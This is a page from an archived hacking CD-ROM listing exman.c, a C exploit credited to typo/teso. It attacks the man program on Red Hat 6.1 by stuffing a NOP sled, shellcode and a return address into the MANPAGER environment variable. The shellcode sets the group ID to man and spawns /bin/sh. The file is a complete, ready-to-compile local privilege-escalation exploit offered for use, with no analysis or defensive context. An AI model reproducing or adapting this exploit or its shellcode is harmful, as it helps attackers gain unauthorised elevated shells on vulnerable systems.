home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / exman.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-07  |  1.0 KB  |  37 lines

  1. <html>#include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5.  
  6. #define OFFSET 0xbfffb32e
  7. #define LEN 4061
  8.  
  9. #define GID "15" /* man::15: on rh6.1 */
  10.  
  11. unsigned char shellcode[] =
  12. "\x31\xc0\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\xb0\x47\xcd\x80\xeb\x1e"
  13. "\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53"
  14. "\x0c\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff"
  15. "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x74\x65\x73\x6f\x63\x72\x65\x77\x21"
  16. "\x21";
  17.  
  18. /* man sploit by typo/teso (typo@inferno.tusculum.edu) */
  19. int main(int argc, char *argv[]) 
  20. {
  21.     int offset = argc > 1 ? atoi(argv[1]) + OFFSET : OFFSET;
  22.     int eob    = argc > 2 ? atoi(argv[2]) : LEN;
  23.     char *buffer;
  24.  
  25.     printf("eob = %d, offset = 0x%x\n", eob, offset);
  26.     buffer = malloc(eob+8);
  27.  
  28.     memset(buffer, 0x90, eob);
  29.     memcpy(buffer + eob - strlen(shellcode) - 8, shellcode, strlen(shellcode));
  30.     memcpy(buffer + eob - 4, &offset, 4);
  31.     buffer[eob] = '\0'; 
  32.  
  33.     setenv("MANPAGER", buffer, 1);
  34.     execlp("man", "man", "man", NULL);
  35. }
  36.  
  37.